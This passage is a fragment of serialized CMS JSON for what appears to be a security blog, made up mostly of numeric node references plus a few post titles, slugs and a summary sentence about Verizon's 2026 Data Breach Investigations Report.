ype":961},{"data":42206,"content":42207,"nodeType":1835},{},[42208],{"data":42209,"content":42210,"nodeType":866},{},[42211],{"data":42212,"marks":42213,"value":40147,"nodeType":865},{},[42214],{"type":961},{"data":42216,"content":42217,"nodeType":1835},{},[42218],{"data":42219,"content":42220,"nodeType":866},{},[42221],{"data":42222,"marks":42223,"value":40158,"nodeType":865},{},[42224],{"type":961},{"data":42226,"content":42227,"nodeType":1835},{},[42228],{"data":42229,"content":42230,"nodeType":866},{},[42231],{"data":42232,"marks":42233,"value":40169,"nodeType":865},{},[42234],{"type":961},{"data":42236,"content":42237,"nodeType":1869},{},[42238,42258,42267,42276],{"data":42239,"content":42240,"nodeType":1835},{},[42241],{"data":42242,"content":42243,"nodeType":866},{},[42244,42248,42251,42255],{"data":42245,"marks":42246,"value":40183,"nodeType":865},{},[42247],{"type":961},{"data":42249,"marks":42250,"value":40187,"nodeType":865},{},[],{"data":42252,"marks":42253,"value":40192,"nodeType":865},{},[42254],{"type":961},{"data":42256,"marks":42257,"value":40196,"nodeType":865},{},[],{"data":42259,"content":42260,"nodeType":1835},{},[42261],{"data":42262,"content":42263,"nodeType":866},{},[42264],{"data":42265,"marks":42266,"value":40206,"nodeType":865},{},[],{"data":42268,"content":42269,"nodeType":1835},{},[42270],{"data":42271,"content":42272,"nodeType":866},{},[42273],{"data":42274,"marks":42275,"value":40216,"nodeType":865},{},[],{"data":42277,"content":42278,"nodeType":1835},{},[42279,42285],{"data":42280,"content":42281,"nodeType":866},{},[42282],{"data":42283,"marks":42284,"value":40226,"nodeType":865},{},[],{"data":42286,"content":42287,"nodeType":866},{},[42288],{"data":42289,"marks":42290,"value":40233,"nodeType":865},{},[],{"data":42292,"content":42293,"nodeType":1869},{},[42294,42307,42316,42325],{"data":42295,"content":42296,"nodeType":1835},{},[42297],{"data":42298,"content":42299,"nodeType":866},{},[42300,42304],{"data":42301,"marks":42302,"value":40247,"nodeType":865},{},[42303],{"type":961},{"data":42305,"marks":42306,"value":40251,"nodeType":865},{},[],{"data":42308,"content":42309,"nodeType":1835},{},[42310],{"data":42311,"content":42312,"nodeType":866},{},[42313],{"data":42314,"marks":42315,"value":40261,"nodeType":865},{},[],{"data":42317,"content":42318,"nodeType":1835},{},[42319],{"data":42320,"content":42321,"nodeType":866},{},[42322],{"data":42323,"marks":42324,"value":40271,"nodeType":865},{},[],{"data":42326,"content":42327,"nodeType":1835},{},[42328],{"data":42329,"content":42330,"nodeType":866},{},[42331],{"data":42332,"marks":42333,"value":40281,"nodeType":865},{},[],{"data":42335,"content":42336,"nodeType":1869},{},[42337,42350,42359,42368],{"data":42338,"content":42339,"nodeType":1835},{},[42340],{"data":42341,"content":42342,"nodeType":866},{},[42343,42347],{"data":42344,"marks":42345,"value":40295,"nodeType":865},{},[42346],{"type":961},{"data":42348,"marks":42349,"value":40299,"nodeType":865},{},[],{"data":42351,"content":42352,"nodeType":1835},{},[42353],{"data":42354,"content":42355,"nodeType":866},{},[42356],{"data":42357,"marks":42358,"value":40309,"nodeType":865},{},[],{"data":42360,"content":42361,"nodeType":1835},{},[42362],{"data":42363,"content":42364,"nodeType":866},{},[42365],{"data":42366,"marks":42367,"value":40319,"nodeType":865},{},[],{"data":42369,"content":42370,"nodeType":1835},{},[42371],{"data":42372,"content":42373,"nodeType":866},{},[42374],{"data":42375,"marks":42376,"value":40329,"nodeType":865},{},[],{"data":42378,"content":42379,"nodeType":1869},{},[42380,42393,42402,42411],{"data":42381,"content":42382,"nodeType":1835},{},[42383],{"data":42384,"content":42385,"nodeType":866},{},[42386,42390],{"data":42387,"marks":42388,"value":40343,"nodeType":865},{},[42389],{"type":961},{"data":42391,"marks":42392,"value":40347,"nodeType":865},{},[],{"data":42394,"content":42395,"nodeType":1835},{},[42396],{"data":42397,"content":42398,"nodeType":866},{},[42399],{"data":42400,"marks":42401,"value":40206,"nodeType":865},{},[],{"data":42403,"content":42404,"nodeType":1835},{},[42405],{"data":42406,"content":42407,"nodeType":866},{},[42408],{"data":42409,"marks":42410,"value":40366,"nodeType":865},{},[],{"data":42412,"content":42413,"nodeType":1835},{},[42414],{"data":42415,"content":42416,"nodeType":866},{},[42417],{"data":42418,"marks":42419,"value":40376,"nodeType":865},{},[],{"data":42421,"content":42422,"nodeType":866},{},[42423],{"data":42424,"marks":42425,"value":21,"nodeType":865},{},[],{"items":42427},[42428,42430],{"sys":42429,"name":11426},{"id":11425},{"sys":42431,"name":342},{"id":8410},{"items":42433},[42434],{"fullName":11430,"firstName":11431,"jobTitle":11432,"profilePicture":42435},{"url":11434},{"__typename":1788,"sys":42437,"content":42438,"title":10645,"synopsis":10646,"hashTags":59,"publishedDate":10647,"slug":10648,"tagsCollection":42868,"authorsCollection":42874},{"id":10136},{"json":42439},{"data":42440,"content":42441,"nodeType":1739},{},[42442,42449,42473,42478,42484,42499,42512,42515,42522,42535,42551,42571,42576,42589,42613,42618,42623,42636,42639,42646,42652,42659,42675,42688,42695,42717,42723,42730,42754,42760,42767,42773,42778,42781,42788,42794,42801,42806,42809,42816,42822,42828,42834,42844,42847,42853],{"data":42443,"content":42444,"nodeType":963},{},[42445],{"data":42446,"marks":42447,"value":10148,"nodeType":865},{},[42448],{"type":961},{"data":42450,"content":42451,"nodeType":866},{},[42452,42455,42461,42464,42470],{"data":42453,"marks":42454,"value":10155,"nodeType":865},{},[],{"data":42456,"content":42457,"nodeType":882},{"uri":10158},[42458],{"data":42459,"marks":42460,"value":10163,"nodeType":865},{},[],{"data":42462,"marks":42463,"value":10167,"nodeType":865},{},[],{"data":42465,"content":42466,"nodeType":882},{"uri":10170},[42467],{"data":42468,"marks":42469,"value":10175,"nodeType":865},{},[],{"data":42471,"marks":42472,"value":10179,"nodeType":865},{},[],{"data":42474,"content":42477,"nodeType":925},{"target":42475},{"sys":42476},{"id":10184,"type":922,"linkType":923},[],{"data":42479,"content":42480,"nodeType":866},{},[42481],{"data":42482,"marks":42483,"value":10192,"nodeType":865},{},[],{"data":42485,"content":42486,"nodeType":866},{},[42487,42490,42496],{"data":42488,"marks":42489,"value":10199,"nodeType":865},{},[],{"data":42491,"content":42492,"nodeType":882},{"uri":10202},[42493],{"data":42494,"marks":42495,"value":10207,"nodeType":865},{},[],{"data":42497,"marks":42498,"value":10211,"nodeType":865},{},[],{"data":42500,"content":42501,"nodeType":866},{},[42502,42505,42509],{"data":42503,"marks":42504,"value":10218,"nodeType":865},{},[],{"data":42506,"marks":42507,"value":10223,"nodeType":865},{},[42508],{"type":961},{"data":42510,"marks":42511,"value":1048,"nodeType":865},{},[],{"data":42513,"content":42514,"nodeType":953},{},[],{"data":42516,"content":42517,"nodeType":963},{},[42518],{"data":42519,"marks":42520,"value":10237,"nodeType":865},{},[42521],{"type":961},{"data":42523,"content":42524,"nodeType":866},{},[42525,42528,42532],{"data":42526,"marks":42527,"value":10244,"nodeType":865},{},[],{"data":42529,"marks":42530,"value":10249,"nodeType":865},{},[42531],{"type":944},{"data":42533,"marks":42534,"value":1048,"nodeType":865},{},[],{"data":42536,"content":42537,"nodeType":866},{},[42538,42541,42548],{"data":42539,"marks":42540,"value":10259,"nodeType":865},{},[],{"data":42542,"content":42543,"nodeType":882},{"uri":3620},[42544],{"data":42545,"marks":42546,"value":10267,"nodeType":865},{},[42547],{"type":997},{"data":42549,"marks":42550,"value":10271,"nodeType":865},{},[],{"data":42552,"content":42553,"nodeType":866},{},[42554,42557,42561,42564,42568],{"data":42555,"marks":42556,"value":10278,"nodeType":865},{},[],{"data":42558,"marks":42559,"value":10283,"nodeType":865},{},[42560],{"type":961},{"data":42562,"marks":42563,"value":10287,"nodeType":865},{},[],{"data":42565,"marks":42566,"value":10292,"nodeType":865},{},[42567],{"type":944},{"data":42569,"marks":42570,"value":10296,"nodeType":865},{},[],{"data":42572,"content":42575,"nodeType":925},{"target":42573},{"sys":42574},{"id":10301,"type":922,"linkType":923},[],{"data":42577,"content":42578,"nodeType":866},{},[42579,42582,42586],{"data":42580,"marks":42581,"value":10309,"nodeType":865},{},[],{"data":42583,"marks":42584,"value":10314,"nodeType":865},{},[42585],{"type":961},{"data":42587,"marks":42588,"value":10318,"nodeType":865},{},[],{"data":42590,"content":42591,"nodeType":866},{},[42592,42595,42601,42604,42610],{"data":42593,"marks":42594,"value":10325,"nodeType":865},{},[],{"data":42596,"content":42597,"nodeType":882},{"uri":10328},[42598],{"data":42599,"marks":42600,"value":10333,"nodeType":865},{},[],{"data":42602,"marks":42603,"value":10337,"nodeType":865},{},[],{"data":42605,"content":42606,"nodeType":882},{"uri":10340},[42607],{"data":42608,"marks":42609,"value":10345,"nodeType":865},{},[],{"data":42611,"marks":42612,"value":10349,"nodeType":865},{},[],{"data":42614,"content":42617,"nodeType":925},{"target":42615},{"sys":42616},{"id":10354,"type":922,"linkType":923},[],{"data":42619,"content":42622,"nodeType":925},{"target":42620},{"sys":42621},{"id":10360,"type":922,"linkType":923},[],{"data":42624,"content":42625,"nodeType":866},{},[42626,42629,42633],{"data":42627,"marks":42628,"value":10368,"nodeType":865},{},[],{"data":42630,"marks":42631,"value":10373,"nodeType":865},{},[42632],{"type":961},{"data":42634,"marks":42635,"value":10377,"nodeType":865},{},[],{"data":42637,"content":42638,"nodeType":953},{},[],{"data":42640,"content":42641,"nodeType":963},{},[42642],{"data":42643,"marks":42644,"value":10388,"nodeType":865},{},[42645],{"type":961},{"data":42647,"content":42648,"nodeType":866},{},[42649],{"data":42650,"marks":42651,"value":10395,"nodeType":865},{},[],{"data":42653,"content":42654,"nodeType":1458},{},[42655],{"data":42656,"marks":42657,"value":10403,"nodeType":865},{},[42658],{"type":961},{"data":42660,"content":42661,"nodeType":866},{},[42662,42665,42672],{"data":42663,"marks":42664,"value":21,"nodeType":865},{},[],{"data":42666,"content":42667,"nodeType":882},{"uri":3288},[42668],{"data":42669,"marks":42670,"value":10417,"nodeType":865},{},[42671],{"type":997},{"data":42673,"marks":42674,"value":10421,"nodeType":865},{},[],{"data":42676,"content":42677,"nodeType":866},{},[42678,42681,42685],{"data":42679,"marks":42680,"value":10428,"nodeType":865},{},[],{"data":42682,"marks":42683,"value":10433,"nodeType":865},{},[42684],{"type":961},{"data":42686,"marks":42687,"value":10437,"nodeType":865},{},[],{"data":42689,"content":42690,"nodeType":1458},{},[42691],{"data":42692,"marks":42693,"value":288,"nodeType":865},{},[42694],{"type":961},{"data":42696,"content":42697,"nodeType":866},{},[42698,42702,42710,42714],{"data":42699,"marks":42700,"value":21,"nodeType":865},{},[42701],{"type":961},{"data":42703,"content":42704,"nodeType":882},{"uri":4136},[42705],{"data":42706,"marks":42707,"value":10460,"nodeType":865},{},[42708,42709],{"type":997},{"type":961},{"data":42711,"marks":42712,"value":10465,"nodeType":865},{},[42713],{"type":961},{"data":42715,"marks":42716,"value":10469,"nodeType":865},{},[],{"data":42718,"content":42719,"nodeType":866},{},[42720],{"data":42721,"marks":42722,"value":10476,"nodeType":865},{},[],{"data":42724,"content":42725,"nodeType":1458},{},[42726],{"data":42727,"marks":42728,"value":10484,"nodeType":865},{},[42729],{"type":961},{"data":42731,"content":42732,"nodeType":866},{},[42733,42736,42742,42745,42751],{"data":42734,"marks":42735,"value":10491,"nodeType":865},{},[],{"data":42737,"content":42738,"nodeType":882},{"uri":10494},[42739],{"data":42740,"marks":42741,"value":10499,"nodeType":865},{},[],{"data":42743,"marks":42744,"value":10503,"nodeType":865},{},[],{"data":42746,"content":42747,"nodeType":882},{"uri":1362},[42748],{"data":42749,"marks":42750,"value":10510,"nodeType":865},{},[],{"data":42752,"marks":42753,"value":10514,"nodeType":865},{},[],{"data":42755,"content":42756,"nodeType":866},{},[42757],{"data":42758,"marks":42759,"value":10521,"nodeType":865},{},[],{"data":42761,"content":42762,"nodeType":1458},{},[42763],{"data":42764,"marks":42765,"value":10529,"nodeType":865},{},[42766],{"type":961},{"data":42768,"content":42769,"nodeType":866},{},[42770],{"data":42771,"marks":42772,"value":10536,"nodeType":865},{},[],{"data":42774,"content":42777,"nodeType":925},{"target":42775},{"sys":42776},{"id":10541,"type":922,"linkType":923},[],{"data":42779,"content":42780,"nodeType":953},{},[],{"data":42782,"content":42783,"nodeType":963},{},[42784],{"data":42785,"marks":42786,"value":10553,"nodeType":865},{},[42787],{"type":961},{"data":42789,"content":42790,"nodeType":866},{},[42791],{"data":42792,"marks":42793,"value":10560,"nodeType":865},{},[],{"data":42795,"content":42796,"nodeType":866},{},[42797],{"data":42798,"marks":42799,"value":10568,"nodeType":865},{},[42800],{"type":961},{"data":42802,"content":42805,"nodeType":925},{"target":42803},{"sys":42804},{"id":10573,"type":922,"linkType":923},[],{"data":42807,"content":42808,"nodeType":953},{},[],{"data":42810,"content":42811,"nodeType":1458},{},[42812],{"data":42813,"marks":42814,"value":10585,"nodeType":865},{},[42815],{"type":961},{"data":42817,"content":42818,"nodeType":866},{},[42819],{"data":42820,"marks":42821,"value":10592,"nodeType":865},{},[],{"data":42823,"content":42824,"nodeType":866},{},[42825],{"data":42826,"marks":42827,"value":10599,"nodeType":865},{},[],{"data":42829,"content":42830,"nodeType":866},{},[42831],{"data":42832,"marks":42833,"value":10606,"nodeType":865},{},[],{"data":42835,"content":42836,"nodeType":866},{},[42837,42841],{"data":42838,"marks":42839,"value":10614,"nodeType":865},{},[42840],{"type":961},{"data":42842,"marks":42843,"value":10618,"nodeType":865},{},[],{"data":42845,"content":42846,"nodeType":953},{},[],{"data":42848,"content":42849,"nodeType":866},{},[42850],{"data":42851,"marks":42852,"value":5006,"nodeType":865},{},[],{"data":42854,"content":42855,"nodeType":866},{},[42856,42859,42865],{"data":42857,"marks":42858,"value":10634,"nodeType":865},{},[],{"data":42860,"content":42861,"nodeType":882},{"uri":9244},[42862],{"data":42863,"marks":42864,"value":10641,"nodeType":865},{},[],{"data":42866,"marks":42867,"value":1738,"nodeType":865},{},[],{"items":42869},[42870,42872],{"sys":42871,"name":2825},{"id":2824},{"sys":42873,"name":342},{"id":8410},{"items":42875},[42876],{"fullName":849,"firstName":850,"jobTitle":851,"profilePicture":42877},{"url":853},"blog/verizon-dbir-2026-review",{"json":42880},{"data":42881,"content":42882,"nodeType":1739},{},[42883],{"data":42884,"content":42885,"nodeType":866},{},[42886],{"data":42887,"marks":42888,"value":42889,"nodeType":865},{},[],"Verizon's 2026 Data Breach Investigations Report landed this week with the largest dataset in the report's 19-year history — more than 22,000 confirmed breaches across 145 countries, nearly double last year's count.",{"id":27219,"publishedAt":42891},"2026-08-12T12:00:55.865Z",{"items":42893},[42894,42896],{"sys":42895,"name":297},{"id":2828},{"sys":42897,"name":11426},{"id":11425},{"items":42899},[42900,42902,42904,42906,42908,42910,42912,42914,42916,42918,42920,42922,42924,42926,42928,42930,42932,42934,42936,42938,42940,42942,42944,42946],{"sys":42901,"name":279,"slug":280,"tier":31},{"id":276},{"sys":42903,"name":413,"slug":414,"tier":31},{"id":410},{"sys":42905,"name":642,"slug":643,"tier":31},{"id":639},{"sys":42907,"name":519,"slug":520,"tier":31},{"id":516},{"sys":42909,"name":297,"slug":298,"tier":31},{"id":294},{"sys":42911,"name":235,"slug":236,"tier":31},{"id":232},{"sys":42913,"name":422,"slug":423,"tier":45},{"id":419},{"sys":42915,"name":315,"slug":316,"tier":45},{"id":312},{"sys":42917,"name":324,"slug":325,"tier":45},{"id":321},{"sys":42919,"name":580,"slug":581,"tier":45},{"id":577},{"sys":42921,"name":537,"slug":538,"tier":45},{"id":534},{"sys":42923,"name":633,"slug":634,"tier":45},{"id":630},{"sys":42925,"name":261,"slug":262,"tier":45},{"id":258},{"sys":42927,"name":475,"slug":476,"tier":45},{"id":472},{"sys":42929,"name":333,"slug":334,"tier":45},{"id":330},{"sys":42931,"name":457,"slug":458,"tier":45},{"id":454},{"sys":42933,"name":288,"slug":289,"tier":45},{"id":285},{"sys":42935,"name":252,"slug":253,"tier":45},{"id":249},{"sys":42937,"name":607,"slug":608,"tier":45},{"id":604},{"sys":42939,"name":650,"slug":651,"tier":45},{"id":647},{"sys":42941,"name":244,"slug":245,"tier":45},{"id":241},{"sys":42943,"name":368,"slug":369,"tier":45},{"id":365},{"sys":42945,"name":571,"slug":572,"tier":45},{"id":568},{"sys":42947,"name":484,"slug":485,"tier":45},{"id":481},"hcNrtVGANdYvnes1Z8X1g9b6b_dm694k5qOhLd1GfaI",{"id":42950,"title":38686,"authorsCollection":42951,"content":42955,"extension":228,"faqItemsCollection":43467,"faqTitle":59,"featured":6,"hashTags":59,"meta":43469,"metaTitle":43470,"ogImage":59,"postType":1783,"publishedDate":35524,"relatedBlogPostsCollection":43471,"slug":38688,"stem":47744,"subtitle":59,"summary":47745,"synopsis":38687,"sys":47756,"tagsCollection":47758,"topicsCollection":47764,"__hash__":47810},"blog/blog/7-things-we-learned-from-john-hammond.json",{"items":42952},[42953],{"fullName":28907,"firstName":28908,"jobTitle":28909,"socialLinks":59,"profilePicture":42954},{"url":28911},{"json":42956,"links":43459},{"data":42957,"content":42958,"nodeType":1739},{},[42959,42975,42980,42983,42990,43032,43041,43044,43051,43067,43073,43093,43108,43111,43118,43133,43139,43145,43154,43157,43164,43189,43204,43207,43214,43230,43236,43242,43245,43252,43268,43274,43289,43298,43304,43307,43314,43329,43335,43341,43351,43360,43376,43379,43386,43392,43434],{"data":42960,"content":42961,"nodeType":866},{},[42962,42965,42972],{"data":42963,"marks":42964,"value":38119,"nodeType":865},{},[],{"data":42966,"content":42967,"nodeType":882},{"uri":38122},[42968],{"data":42969,"marks":42970,"value":38128,"nodeType":865},{},[42971],{"type":997},{"data":42973,"marks":42974,"value":38132,"nodeType":865},{},[],{"data":42976,"content":42979,"nodeType":925},{"target":42977},{"sys":42978},{"id":38137,"type":922,"linkType":923},[],{"data":42981,"content":42982,"nodeType":953},{},[],{"data":42984,"content":42985,"nodeType":963},{},[42986],{"data":42987,"marks":42988,"value":38149,"nodeType":865},{},[42989],{"type":961},{"data":42991,"content":42992,"nodeType":866},{},[42993,42996,43002,43005,43011,43014,43020,43023,43029],{"data":42994,"marks":42995,"value":38156,"nodeType":865},{},[],{"data":42997,"content":42998,"nodeType":882},{"uri":8581},[42999],{"data":43000,"marks":43001,"value":38163,"nodeType":865},{},[],{"data":43003,"marks":43004,"value":38167,"nodeType":865},{},[],{"data":43006,"content":43007,"nodeType":882},{"uri":3620},[43008],{"data":43009,"marks":43010,"value":38174,"nodeType":865},{},[],{"data":43012,"marks":43013,"value":38178,"nodeType":865},{},[],{"data":43015,"content":43016,"nodeType":882},{"uri":1384},[43017],{"data":43018,"marks":43019,"value":38185,"nodeType":865},{},[],{"data":43021,"marks":43022,"value":38189,"nodeType":865},{},[],{"data":43024,"content":43025,"nodeType":882},{"uri":3009},[43026],{"data":43027,"marks":43028,"value":38196,"nodeType":865},{},[],{"data":43030,"marks":43031,"value":1048,"nodeType":865},{},[],{"data":43033,"content":43034,"nodeType":11214},{},[43035],{"data":43036,"content":43037,"nodeType":866},{},[43038],{"data":43039,"marks":43040,"value":38209,"nodeType":865},{},[],{"data":43042,"content":43043,"nodeType":953},{},[],{"data":43045,"content":43046,"nodeType":963},{},[43047],{"data":43048,"marks":43049,"value":38220,"nodeType":865},{},[43050],{"type":961},{"data":43052,"content":43053,"nodeType":866},{},[43054,43057,43064],{"data":43055,"marks":43056,"value":38227,"nodeType":865},{},[],{"data":43058,"content":43059,"nodeType":882},{"uri":8581},[43060],{"data":43061,"marks":43062,"value":26083,"nodeType":865},{},[43063],{"type":997},{"data":43065,"marks":43066,"value":38238,"nodeType":865},{},[],{"data":43068,"content":43069,"nodeType":866},{},[43070],{"data":43071,"marks":43072,"value":38245,"nodeType":865},{},[],{"data":43074,"content":43075,"nodeType":866},{},[43076,43080,43083,43090],{"data":43077,"marks":43078,"value":38253,"nodeType":865},{},[43079],{"type":961},{"data":43081,"marks":43082,"value":38257,"nodeType":865},{},[],{"data":43084,"content":43085,"nodeType":882},{"uri":13634},[43086],{"data":43087,"marks":43088,"value":38265,"nodeType":865},{},[43089],{"type":997},{"data":43091,"marks":43092,"value":22525,"nodeType":865},{},[],{"data":43094,"content":43095,"nodeType":866},{},[43096,43099,43105],{"data":43097,"marks":43098,"value":38275,"nodeType":865},{},[],{"data":43100,"content":43101,"nodeType":882},{"uri":5481},[43102],{"data":43103,"marks":43104,"value":38282,"nodeType":865},{},[],{"data":43106,"marks":43107,"value":38286,"nodeType":865},{},[],{"data":43109,"content":43110,"nodeType":953},{},[],{"data":43112,"content":43113,"nodeType":963},{},[43114],{"data":43115,"marks":43116,"value":38297,"nodeType":865},{},[43117],{"type":961},{"data":43119,"content":43120,"nodeType":866},{},[43121,43124,43130],{"data":43122,"marks":43123,"value":38304,"nodeType":865},{},[],{"data":43125,"content":43126,"nodeType":882},{"uri":5179},[43127],{"data":43128,"marks":43129,"value":38311,"nodeType":865},{},[],{"data":43131,"marks":43132,"value":38315,"nodeType":865},{},[],{"data":43134,"content":43135,"nodeType":866},{},[43136],{"data":43137,"marks":43138,"value":38322,"nodeType":865},{},[],{"data":43140,"content":43141,"nodeType":866},{},[43142],{"data":43143,"marks":43144,"value":38329,"nodeType":865},{},[],{"data":43146,"content":43147,"nodeType":11214},{},[43148],{"data":43149,"content":43150,"nodeType":866},{},[43151],{"data":43152,"marks":43153,"value":38339,"nodeType":865},{},[],{"data":43155,"content":43156,"nodeType":953},{},[],{"data":43158,"content":43159,"nodeType":963},{},[43160],{"data":43161,"marks":43162,"value":38350,"nodeType":865},{},[43163],{"type":961},{"data":43165,"content":43166,"nodeType":866},{},[43167,43170,43177,43180,43186],{"data":43168,"marks":43169,"value":38357,"nodeType":865},{},[],{"data":43171,"content":43172,"nodeType":882},{"uri":9176},[43173],{"data":43174,"marks":43175,"value":38365,"nodeType":865},{},[43176],{"type":997},{"data":43178,"marks":43179,"value":38369,"nodeType":865},{},[],{"data":43181,"content":43182,"nodeType":882},{"uri":38372},[43183],{"data":43184,"marks":43185,"value":38377,"nodeType":865},{},[],{"data":43187,"marks":43188,"value":38381,"nodeType":865},{},[],{"data":43190,"content":43191,"nodeType":866},{},[43192,43195,43201],{"data":43193,"marks":43194,"value":38388,"nodeType":865},{},[],{"data":43196,"content":43197,"nodeType":882},{"uri":9176},[43198],{"data":43199,"marks":43200,"value":38395,"nodeType":865},{},[],{"data":43202,"marks":43203,"value":38399,"nodeType":865},{},[],{"data":43205,"content":43206,"nodeType":953},{},[],{"data":43208,"content":43209,"nodeType":963},{},[43210],{"data":43211,"marks":43212,"value":38410,"nodeType":865},{},[43213],{"type":961},{"data":43215,"content":43216,"nodeType":866},{},[43217,43220,43227],{"data":43218,"marks":43219,"value":21,"nodeType":865},{},[],{"data":43221,"content":43222,"nodeType":882},{"uri":11342},[43223],{"data":43224,"marks":43225,"value":19228,"nodeType":865},{},[43226],{"type":997},{"data":43228,"marks":43229,"value":38427,"nodeType":865},{},[],{"data":43231,"content":43232,"nodeType":866},{},[43233],{"data":43234,"marks":43235,"value":38434,"nodeType":865},{},[],{"data":43237,"content":43238,"nodeType":866},{},[43239],{"data":43240,"marks":43241,"value":38441,"nodeType":865},{},[],{"data":43243,"content":43244,"nodeType":953},{},[],{"data":43246,"content":43247,"nodeType":963},{},[43248],{"data":43249,"marks":43250,"value":38452,"nodeType":865},{},[43251],{"type":961},{"data":43253,"content":43254,"nodeType":866},{},[43255,43258,43265],{"data":43256,"marks":43257,"value":21,"nodeType":865},{},[],{"data":43259,"content":43260,"nodeType":882},{"uri":11102},[43261],{"data":43262,"marks":43263,"value":11095,"nodeType":865},{},[43264],{"type":997},{"data":43266,"marks":43267,"value":38469,"nodeType":865},{},[],{"data":43269,"content":43270,"nodeType":866},{},[43271],{"data":43272,"marks":43273,"value":38476,"nodeType":865},{},[],{"data":43275,"content":43276,"nodeType":866},{},[43277,43280,43286],{"data":43278,"marks":43279,"value":38483,"nodeType":865},{},[],{"data":43281,"content":43282,"nodeType":882},{"uri":3009},[43283],{"data":43284,"marks":43285,"value":38490,"nodeType":865},{},[],{"data":43287,"marks":43288,"value":38494,"nodeType":865},{},[],{"data":43290,"content":43291,"nodeType":11214},{},[43292],{"data":43293,"content":43294,"nodeType":866},{},[43295],{"data":43296,"marks":43297,"value":38504,"nodeType":865},{},[],{"data":43299,"content":43300,"nodeType":866},{},[43301],{"data":43302,"marks":43303,"value":38511,"nodeType":865},{},[],{"data":43305,"content":43306,"nodeType":953},{},[],{"data":43308,"content":43309,"nodeType":963},{},[43310],{"data":43311,"marks":43312,"value":38522,"nodeType":865},{},[43313],{"type":961},{"data":43315,"content":43316,"nodeType":866},{},[43317,43320,43326],{"data":43318,"marks":43319,"value":38529,"nodeType":865},{},[],{"data":43321,"content":43322,"nodeType":882},{"uri":1384},[43323],{"data":43324,"marks":43325,"value":29100,"nodeType":865},{},[],{"data":43327,"marks":43328,"value":22525,"nodeType":865},{},[],{"data":43330,"content":43331,"nodeType":866},{},[43332],{"data":43333,"marks":43334,"value":38545,"nodeType":865},{},[],{"data":43336,"content":43337,"nodeType":866},{},[43338],{"data":43339,"marks":43340,"value":38552,"nodeType":865},{},[],{"data":43342,"content":43343,"nodeType":866},{},[43344,43348],{"data":43345,"marks":43346,"value":38560,"nodeType":865},{},[43347],{"type":961},{"data":43349,"marks":43350,"value":38564,"nodeType":865},{},[],{"data":43352,"content":43353,"nodeType":11214},{},[43354],{"data":43355,"content":43356,"nodeType":866},{},[43357],{"data":43358,"marks":43359,"value":38574,"nodeType":865},{},[],{"data":43361,"content":43362,"nodeType":866},{},[43363,43366,43373],{"data":43364,"marks":43365,"value":38581,"nodeType":865},{},[],{"data":43367,"content":43368,"nodeType":882},{"uri":4236},[43369],{"data":43370,"marks":43371,"value":4241,"nodeType":865},{},[43372],{"type":997},{"data":43374,"marks":43375,"value":1048,"nodeType":865},{},[],{"data":43377,"content":43378,"nodeType":953},{},[],{"data":43380,"content":43381,"nodeType":963},{},[43382],{"data":43383,"marks":43384,"value":38602,"nodeType":865},{},[43385],{"type":961},{"data":43387,"content":43388,"nodeType":866},{},[43389],{"data":43390,"marks":43391,"value":38609,"nodeType":865},{},[],{"data":43393,"content":43394,"nodeType":866},{},[43395,43398,43404,43407,43413,43416,43422,43425,43431],{"data":43396,"marks":43397,"value":38616,"nodeType":865},{},[],{"data":43399,"content":43400,"nodeType":882},{"uri":5481},[43401],{"data":43402,"marks":43403,"value":261,"nodeType":865},{},[],{"data":43405,"marks":43406,"value":26083,"nodeType":865},{},[],{"data":43408,"content":43409,"nodeType":882},{"uri":9176},[43410],{"data":43411,"marks":43412,"value":38632,"nodeType":865},{},[],{"data":43414,"marks":43415,"value":26083,"nodeType":865},{},[],{"data":43417,"content":43418,"nodeType":882},{"uri":11102},[43419],{"data":43420,"marks":43421,"value":38642,"nodeType":865},{},[],{"data":43423,"marks":43424,"value":38646,"nodeType":865},{},[],{"data":43426,"content":43427,"nodeType":882},{"uri":1384},[43428],{"data":43429,"marks":43430,"value":38653,"nodeType":865},{},[],{"data":43432,"marks":43433,"value":38657,"nodeType":865},{},[],{"data":43435,"content":43436,"nodeType":866},{},[43437,43440,43447,43450,43456],{"data":43438,"marks":43439,"value":21,"nodeType":865},{},[],{"data":43441,"content":43442,"nodeType":882},{"uri":38666},[43443],{"data":43444,"marks":43445,"value":38076,"nodeType":865},{},[43446],{"type":997},{"data":43448,"marks":43449,"value":38675,"nodeType":865},{},[],{"data":43451,"content":43452,"nodeType":882},{"uri":1728},[43453],{"data":43454,"marks":43455,"value":15208,"nodeType":865},{},[],{"data":43457,"marks":43458,"value":38685,"nodeType":865},{},[],{"entries":43460},{"hyperlink":43461,"inline":43462,"block":43463},[],[],[43464],{"sys":43465,"__typename":5631,"type":5632,"ctaText":38098,"buttonLabel":43466,"buttonColour":5635,"buttonUrl":38666},{"id":38137},"Watch now",{"items":43468},[],{},"7 things we learned from our conversation with John Hammond",{"items":43472},[43473,46190,46911],{"__typename":1788,"sys":43474,"content":43475,"title":32433,"synopsis":32434,"hashTags":59,"publishedDate":32435,"slug":361,"tagsCollection":46180,"authorsCollection":46186},{"id":15486},{"json":43476},{"data":43477,"content":43478,"nodeType":1739},{},[43479,43484,43500,43516,43522,43527,43533,43539,43542,43549,43554,43620,43636,43641,43647,43743,43748,43751,43758,43764,43769,43772,43779,43815,43820,43826,43832,43838,43844,43860,43865,43870,43875,43880,43885,43890,43895,43901,44131,44134,44141,44268,44273,44276,44283,44314,44441,44446,44449,44456,44595,44600,44603,44610,44615,44749,44754,44759,44762,44769,44908,44913,44916,44923,45063,45068,45071,45078,45169,45174,45177,45184,45275,45280,45283,45290,45295,45422,45427,45430,45437,45484,45489,45492,45499,45632,45637,45640,45647,45774,45779,45782,45789,45799,45805,45810,45815,45821,45838,45851,45856,45859,45866,45873,45890,45907,45912,45918,45924,45931,45937,45943,45949,45956,45962,46007,46012,46015,46022,46028,46034,46071,46076,46082,46085,46092,46098,46104,46120,46125,46131,46138,46144],{"data":43480,"content":43483,"nodeType":925},{"target":43481},{"sys":43482},{"id":29452,"type":922,"linkType":923},[],{"data":43485,"content":43486,"nodeType":866},{},[43487,43490,43497],{"data":43488,"marks":43489,"value":29460,"nodeType":865},{},[],{"data":43491,"content":43492,"nodeType":882},{"uri":29463},[43493],{"data":43494,"marks":43495,"value":29469,"nodeType":865},{},[43496],{"type":997},{"data":43498,"marks":43499,"value":29473,"nodeType":865},{},[],{"data":43501,"content":43502,"nodeType":866},{},[43503,43506,43513],{"data":43504,"marks":43505,"value":21,"nodeType":865},{},[],{"data":43507,"content":43508,"nodeType":882},{"uri":29482},[43509],{"data":43510,"marks":43511,"value":360,"nodeType":865},{},[43512],{"type":997},{"data":43514,"marks":43515,"value":29491,"nodeType":865},{},[],{"data":43517,"content":43518,"nodeT